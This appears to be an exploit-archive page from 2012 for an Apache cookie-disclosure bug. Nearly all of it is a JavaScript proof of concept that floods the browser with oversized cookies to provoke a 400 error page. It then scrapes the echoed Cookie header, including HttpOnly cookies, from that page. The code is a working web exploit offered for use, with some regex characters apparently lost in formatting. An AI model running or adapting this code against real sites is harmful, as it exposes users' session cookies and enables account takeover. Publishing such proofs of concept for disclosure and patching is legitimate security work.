Home / exploits

PDF

Apache protocol.c Cookie Disclosure

Posted on 01 February 2012

// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
 // Construct string for cookie value
 var str = "";
 for (var i=0; i< 819; i++) {
 str += "x";
 }
 // Set cookies
 for (i = 0; i < 10; i++) {
 // Expire evil cookie
 if (good) {
 var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
 }
 // Set evil cookie
 else {
 var cookie = "xss"+i+"="+str+";path=/";
 }
 document.cookie = cookie;
 }
}
function makeRequest() {
 setCookies();
 function parseCookies () {
 var cookie_dict = {};
 // Only react on 400 status
 if (xhr.readyState === 4 && xhr.status === 400) {
 // Replace newlines and match <pre> content
 var content = xhr.responseText.replace(/
|
/g,'').match(/<pre>(.+)</pre>/);
 if (content.length) {
 // Remove Cookie: prefix
 content = content[1].replace("Cookie: ", "");
 var cookies = content.replace(/xssd=x+;?/g, '').split(/;/g);
 // Add cookies to object
 for (var i=0; i<cookies.length; i++) {
 var s_c = cookies[i].split('=',2);
 cookie_dict[s_c[0]] = s_c[1];
 }
 }
 // Unset malicious cookies
 setCookies(true);
 alert(JSON.stringify(cookie_dict));
 }
 }
 // Make XHR request
 var xhr = new XMLHttpRequest();
 xhr.onreadystatechange = parseCookies;
 xhr.open("GET", "/", true);
 xhr.send(null);
}
makeRequest();

 

TOP